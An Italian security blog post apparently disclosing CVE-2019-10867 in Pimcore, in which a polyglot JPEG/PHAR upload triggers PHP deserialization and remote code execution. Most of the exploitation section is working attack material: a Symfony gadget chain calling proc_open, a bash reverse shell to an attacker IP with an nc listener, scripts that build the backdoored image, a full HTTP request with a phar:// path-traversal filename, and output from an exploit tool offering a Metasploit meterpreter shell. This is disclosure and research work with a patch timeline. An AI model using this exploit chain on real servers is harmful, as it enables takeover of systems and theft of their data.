Security

Polyglot PHAR's deserialization for backdoored RCE (CVE-2019-10867)

Creare un file PHAR/JPG valido ed ottenere RCE

Fabio Cogno, Daniele Scanu Gennaio, 2020
Polyglot PHAR's deserialization for backdoored RCE (CVE-2019-10867)

Una nuova tecnica di PHP exploitation colpisce il più famoso software PIM, DAM ed eCommerce. La vulnerabilità consente agli aggressori che ottengono l'accesso a un account amministratore di eseguire codice PHP arbitrario e di assumere il controllo dell'intero PIM.

Impatti

Il bug si trova nella funzionalità di Bulk Import in Settings -> Data Objects nel pannello di amministrazione di Pimcore e richiede i privilegi di "Admin". Questo è l'unico requisito per poter sfruttare la vulnerabilità.

Rispettando questo requisito, un utente malintenzionato può trasformare una vulnerabilità di Phar PHP Object Injection in una Remote Code Execution (o RCE) che consente di eseguire ulteriori attacchi e di rubare dati sensibili.

Innanzitutto, un utente malintenzionato deve essere in grado di caricare sul web server target un file PHAR creato ad-hoc. Abbiamo trovato alcuni trucchi per inserire un file PHAR in una JPEG, quindi una classica funzionalità di image upload è più che sufficiente, persistente e agisce come una backdoor.

Questo può non sembrare così critico perché se un utente malintenzionato può controllare il percorso completo del file in operazioni come include(), fopen(), file_get_contents(), file(), ecc., ciò pone già un grave problema di sicurezza. Pertanto, l'input dell'utente utilizzato in queste funzioni è generalmente convalidato.

Tuttavia, la unserialize() viene attivata per il wrapper phar:// in qualsiasi operazione sui file. Pertanto, altre operazioni sui file, come la file_exists() che controlla semplicemente l'esistenza di un file, sono state finora considerate meno soggette ai rischi di sicurezza e sono meno ben protette. Ma con questa tecnica un utente malintenzionato può iniettare il wrapper phar:// e ottenere Remote Code Execution.

Il problema è una vulnerabilità di PHAR deserializzation (CVE-2019-10867). Il bug è stato risolto nella versione 5.7.0.

Dettagli tecnici

Le vulnerabilità di PHAR deserialization si verificano se l'input dell'utente viene passato a una qualsiasi funzione del file system in PHP, come file_exists().

La vulnerabilità in Pimcore risiede in una funzionalità che consente agli amministratori di gestire le risorse. La funzione utilizza un binario dell'editor di immagini chiamato Imagick. Gli amministratori sono in grado di impostare il percorso assoluto del file binario dell'editor di immagini sul server che esegue phpBB3. Prima di aggiornare questa impostazione, phpBB3 tenta di convalidare il nuovo percorso con la funzione validate_config_vars(). La funzione esegue questa convalida controllando se il file esiste effettivamente.

Exploitation

Il ricercatore Sam Thomas ha scoperto una nuova tecnica di exploitation che può portare a vulnerabilità critiche di tipo PHP Object Injection - senza utilizzare la funzione unserialize(). La nuova tecnica è stata presentata al BlackHat USA nel talk "It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It". La tecnica consente agli attaccanti di passare da una vulnerabilità relativa ai file ad una Remode Code Execution o RCE.

Stream wrapper

La maggior parte delle operazioni sui file in PHP consentono di utilizzare vari wrapper URL-style come data://, zlib:// o php:// quando si accede a un percorso di un file. Alcuni di questi wrapper vengono spesso utilizzati per sfruttare le vulnerabilità di Remote File Inclusion (RFI) dove un utente malintenzionato può controllare il percorso completo del file di una File Inclusion. Ad esempio, i wrapper vengono iniettati per individuare il codice sorgente che altrimenti verrebbe eseguito o per iniettare il proprio codice PHP affinchè venga eseguito.

PHAR Meta Data

Finora, nessuno aveva mai prestato attenzione al wrapper phar://. La cosa interessante dei file PHAR (PHP Archive) è che contengono metadati in formato serializzato.

Una descrizione completa del formato PHAR va oltre lo scopo di questo post, tuttavia cerchiamo di approfondire i punti chiave dal punto di vista della sicurezza. Ci sono alcuni elementi che devono essere presenti in un archivio PHAR perchè sia valido:

  • Stub: i file PHAR possono fungere da archivi autoestraenti, lo stub è il codice PHP che viene eseguito quando si accede al file in un contesto eseguibile. Nel tipo di attacchi trattati in questo post è sufficiente che esista uno stub minimo poiché non verrà mai eseguito. Lo stub minimo è: <?php__HALT_COMPILER(); ?>
  • Firma: (opzionale - richiesto per l'archivio che PHP deve essere caricato nella configurazione predefinita) La firma consiste nei 4 byte "GBMB" ("magic byte") che la identitifcano, 4 byte per identificare il tipo di firma (MD5, SHA1, SHA256 o SHA512) e la firma stessa.
  • Meta-dati: (opzionale) I metadati possono contenere qualsiasi oggetto PHP serializzato rappresentato nel formato PHP standard.

Creiamo un file PHAR e aggiungiamo un oggetto con alcuni dati come metadati:

<?php
  // a generic object class
  class TestObject {}

  // create a new phar
  $phar = new Phar("test.phar");
  $phar->startBuffering();
  // add a file and relative content
  $phar->addFromString("test.txt","test");
  // add the minimal stub
  $phar->setStub("<?php __HALT_COMPILER(); ?>");
  // create the object
  $o = new TestObject();
  $o->data = 'cmg-fc';
  // add the test object as meta data
  $phar->setMetadata($o);
  $phar->stopBuffering();
?>

Il nostro nuovo file test.phar ora ha il seguente contenuto. Possiamo vedere che il nostro oggetto è stato memorizzato come stringa serializzata.

Hex view di un PHAR con oggetto serializzato

PHP Object Injection

Se ora viene eseguita un'operazione sul file PHAR tramite il wrapper phar://, i metadati serializzati vengono deserializzati. Ciò significa che l'oggetto iniettato nei metadati viene caricato nell'ambito dell'applicazione. Se questa applicazione ha una classe denominata TestObject e nella stessa sono definiti i metodi "magici" __destruct() o __wakeup(), questi metodi vengono automaticamente richiamati. Ciò significa che possiamo attivare qualsiasi distruttore o metodo di riattivazione nella base di codice. Ancora peggio, se questi metodi operano sui dati iniettati, ciò può portare a ulteriori vulnerabilità.

La versione 5.x di Pimcore si basa su Symfony. Per attivare il metodo __destruct() possiamo usare una gadget chain per Symfony come la seguente:

namespace Symfony\Component\Cache\Traits
{
    use \Psr\Log\LoggerAwareTrait;

    trait AbstractTrait
    {
        use LoggerAwareTrait;

        private $namespace;
        private $deferred;
    }
}

namespace Psr\Log
{
    trait LoggerAwareTrait
    {
    }
}

namespace Symfony\Component\Cache\Adapter
{
    use \Symfony\Component\Cache\Traits\AbstractTrait;

    abstract class AbstractAdapter
    {
        use AbstractTrait;

        private $mergeByLifetime = 'proc_open';

        function __construct($command)
        {
            $this->deferred = $command;
            $this->namespace = [];
        }
    }

    class ApcuAdapter extends AbstractAdapter
    {
    }
}

Possiamo definire qualsiasi tipo di script come payload e creare l'oggetto serializzato:

$payload = "bash -i >& /dev/tcp/10.0.8.2/4444 0>&1"; // Simple Bash reverse shell, on attacker side: 'nc -l -p 4444'
$o = new \Symfony\Component\Cache\Adapter\ApcuAdapter($payload);

Uploading a malicious PHAR file

Per attivare la PHAR deserialization è necessario fornire il percorso locale al file PHAR sul server di destinazione. Ciò significa che un utente malintenzionato deve caricare il file PHAR malevolo sulla destinazione. Pimcore consente all'amministratore con l'autorizzazione sulle risorse di caricare file, inclusi file PHAR...

Ma vogliamo fare le cose nel modo giusto e caricare un'immagine (o sostituirne una esistente)!

Polyglot Phar

A volte ce lo dimentichiamo, ma i file sono solo un mucchio di byte che seguono una struttura predefinita. Le applicazioni verificheranno se sono in grado di gestire tale flusso di dati e, in caso di successo, produrranno un output.

Quello che vogliamo fare è creare un file che sia allo stesso tempo un file PHAR valido e un'immagine JPEG!

Prima di tutto, i file Phar sono indipendenti dall'estensione. Se il file evil.phar fosse rinominato in evil.jpg, l'esempio sopra in cui si innesca la PHAR deserialization continuerebbe a funzionare.

Quindi, ci sono tre formati di base in cui è possibile memorizzare i dati all'interno di un archivio PHAR: PHAR, Zip e Tar. Ognuno dei quali offre diversi tipi e gradi di flessibilità. Il formato PHAR ci consente il controllo completo dell'inizio di un file. Lo stub minimo può essere preceduto da qualsiasi dato arbitrario ed è la prima cosa che compare nel file. Secondo la documentazione non ci sono restrizioni sul contenuto di uno stub PHAR, ad eccezione del requisito che si conclude con __HALT_COMPILER();.

Quindi possiamo iniziare lo stub con l'intestazione di un file JPEG. Il nostro script diventa qualcosa del genere (dove \xFF\xD8\xFF\xFE\x13\xFA\x78\x74 è l'esadecimale dell'intestazione del formato file JPEG):

<?php
  // a generic object class
  class TestObject {}

  // create a new phar
  $phar = new Phar("test.phar");
  $phar->startBuffering();
  // add a file and relative content
  $phar->addFromString("test.txt","test");
  // add the minimal stub
  $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
  // create the object
  $o = new TestObject();
  $o->data = 'cmg-fc';
  // add the test object as meta data
  $phar->setMetadata($o);
  $phar->stopBuffering();

  // rename phar to jpg
  rename("test.phar", "test.jpg");
?>

Sarà un file PHAR e un'immagine JPEG valida?

root@kali:~# file test.jpg 
test.jpg: JPEG image data
root@kali:~# php -a
Interactive mode enabled

php > var_dump(mime_content_type('test.jpg'));
string(10) "image/jpeg"
php > var_dump(file_exists('phar://test.jpg/test.txt'));
bool(true)
php > 

PHP lo riconosce come immagine e possiamo ancora esplorare i contenuti dell'archivio!

The next level

Abbiamo un file che passerebbe qualsiasi controllo basato sulle intestazioni dei file, tuttavia un controllo più sofisticato fallirebbe. Ad esempio, il controllo dell'immagine con getimagesize() restituirà false, poiché non abbiamo un'immagine "reale":

root@kali:~# php -a
Interactive mode enabled

php > var_dump(getimagesize('test.jpg'));
bool(false)
php >

Ma abbiamo visto che possiamo iniettare quanto di più incomprensibile desideriamo prima del token __HALT_COMPILER(). Cosa succede se creiamo un'immagine completa?

Possiamo semplicemente creare un'immagine 1x1 con GIMP e incorporarla?

<?php
  // a generic object class
  class TestObject {}

  // 1x1 JFIF image/JPEG Hex
  $jpeg =
  "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xFE\x00\x18\x43".
  "\x72\x65\x61\x74\x65\x64\x20\x62\x79\x20\x46\x61\x62\x69\x6F\x20\x43\x6F\x67\x6E\x6F\xFF\xDB\x00\x43".
  "\x00\x03\x02\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0A\x07\x07".
  "\x06\x08\x0C\x0A\x0C\x0C\x0B\x0A\x0B\x0B\x0D\x0E\x12\x10\x0D\x0E\x11\x0E\x0B\x0B\x10\x16\x10\x11\x13".
  "\x14\x15\x15\x15\x0C\x0F\x17\x18\x16\x14\x18\x12\x14\x15\x14\xFF\xDB\x00\x43\x01\x03\x04\x04\x05\x04".
  "\x05\x09\x05\x05\x09\x14\x0D\x0B\x0D\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
  "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
  "\x14\x14\x14\x14\x14\x14\x14\x14\x14\xFF\xC2\x00\x11\x08\x00\x01\x00\x01\x03\x01\x11\x00\x02\x11\x01".
  "\x03\x11\x01\xFF\xC4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01".
  "\xFF\xC4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xFF\xDA\x00".
  "\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\x54\x81\x3F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00".
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x7F\xFF\xC4\x00".
  "\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03".
  "\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  "\x00\x00\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00".
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x7F\xFF\xC4\x00\x14".
  "\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00".
  "\x01\x3F\x21\x7F\xFF\xDA\x00\x0C\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\xFF\x00\xFF\xC4\x00\x14\x11".
  "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03\x01\x01".
  "\x3F\x10\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  "\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x10\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00".
  "\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x3F\x10\x7F\xFF\xD9";

  // create a new phar
  $phar = new Phar("test.phar");
  $phar->startBuffering();
  // add a file and relative content
  $phar->addFromString("test.txt","test");
  // add the minimal stub
  $phar->setStub($jpeg." __HALT_COMPILER(); ?>");
  // create the object
  $o = new TestObject();
  $o->data = 'cmg-fc';
  // add the test object as meta data
  $phar->setMetadata($o);
  $phar->stopBuffering();

  // rename phar to jpeg
  rename("test.phar", "test.jpg");
?>

Ora è il momento di dare un'occhiata:

root@kali:~# file test.jpg 
test.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, comment: "Created by Fabio Cogno", progressive, precision 8, 1x1, components 3
root@kali:~# php -a
Interactive mode enabled

php > var_dump(mime_content_type('test.jpg'));
string(10) "image/jpeg"
php > var_dump(file_exists('phar://test.jpg/test.txt'));
bool(true)
php > var_dump(getimagesize('test.jpg'));
array(7) {
  [0]=>
  int(1)
  [1]=>
  int(1)
  [2]=>
  int(2)
  [3]=>
  string(20) "width="1" height="1""
  ["bits"]=>
  int(8)
  ["channels"]=>
  int(3)
  ["mime"]=>
  string(10) "image/jpeg"
}
php >

Il file è un pacchetto PHAR contenente la classe che vogliamo sfruttare ma è ancora un'immagine valida (può anche essere aperta con il visualizzatore di immagini di sistema)!

Ora possiamo scaricare una risorsa esistente in Pimcore, renderla anche un file PHAR con una gadget chain per Symfony che sfrutta il metodo __destruct() nei suoi metadati e quindi possiamo ricaricare la nuova immagine nella sezione assets di Pimcore.

Triggering the exploit and executing code

L'ultimo passo per sfruttare la PHAR deserialization è trovare un modo per includere il nostro file JPEG/PHAR con il wrapper phar:// in una qualsiasi funzione PHP che lavora sui file.

Fortunatamente, la funzione bulk-commit accetta un parametro chiamato "filename" con il seguente codice (pimcore/bundles/AdminBundle/Controller/Admin/DataObject/ClassController.php):

public function bulkCommitAction(Request $request)
    {
        $filename = $request->get('filename');
        $data = json_decode($request->get('data'), true);
        $json = @file_get_contents($filename);
        $json = json_decode($json, true);
        ...

Perfetto! Ora è possibile chiamare la bulk-commit con il nostro JPEG/PHAR nel wrapper phar://:

POST /admin/class/bulk-commit HTTP/1.1
Host: 192.168.2.59:8566
X-pimcore-csrf-token: 9e7b89690abdd2515b3dafbb721c7a98f8d153c3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=5lddjap7vkd24lvfv1p67n7ng1; pimcore_admin_sid=1

filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/test.jpg/test.txt

The final script

Al fine di sfruttare più facilmente l'exploit su Pimcore abbiamo creato uno script PHP che può essere scaricato qui.

Di default lo script genera una JPEG di 1x1 pixel ma è possibile passare qualsiasi immagine JPEG per ottenere un esempio più realistico.

Inoltre, lo script genera una reverse shell di base, una PHP meterpreter reverse shell di metasploit o qualunque altro comando venga passato.

root@kali:~# php polyglot_phar_exploit.php -h
This PHP CLI script create a polyglot PHAR (PHP Archive) that is a valid PHAR file and JPEG image at the same time.
The PHAR file contain a Symfony gadget chain in his meta data and exploit __destruct() method executing the passed command.
Usage:
-h This help
-t type The payload. Possible values are:
 'msf' for msf php reverse shell (need metasploit)
 'nc' for a sh reverse shell
 '<your command>' for passing command like 'touch /tmp/findme'
-l IP The local IP address
-p port The local port
-o file The output file
-i file The input file. If no file is passed, create a Polyglot PHAR with a default 1x1px image

root@kali:~# php polyglot_phar_exploit.php -t msf -p 4444 -l 10.0.8.2 -o cmg-phar-msf.jpg -i cmg.jpg
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes

[-] run 'msfconsole -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST 10.0.8.2; exploit"'
filename: cmg.jpg[+] Creation complete successfully!
[-] Payload to send: cmg-phar-msf.jpg/j7NysV.txt
[-] e.g.: filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/cmg-phar-msf.jpg/j7NysV.txt
root@kali:~# ls -la
...
-rw-r--r-- 1 root root 204771 Apr 28 18:39 cmg.jpg
-rw-r--r-- 1 root root 206695 Apr 28 19:05 cmg-phar-msf.jpg
...

Timeline

Data Cosa
08 marzo 2019 La vulnerabilità è stata scoperta
14 marzo 2019 La vulnerabilità è stata testata su diverse versioni e confermata
15 marzo 2019 La vulnerabilità è stata segnalata al team di Pimcore
19 marzo 2019 Pimcore rilascia la patch con la versione 5.7.0

Summary

La PHAR deserialization è una nuova tecnica di exploiting in PHP e si verifica in molti popolari CMS. La vulnerabilità consente agli attaccanti di eseguire codice PHP arbitrario sul server.

Questo post spiega come creare un file JPEG/PHAR valido al fine sfruttare la PHAR deserialization in Pimcore. La vulnerabilità è presente in Pimcore da almeno 3 anni. Il bug è stato risolto nella versione 5.7.0.

Riferimenti

Ringraziamenti

Vorremmo ringraziare tutto il team di Pimcore per aver gestito prontamente e professionalmente il problema.

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.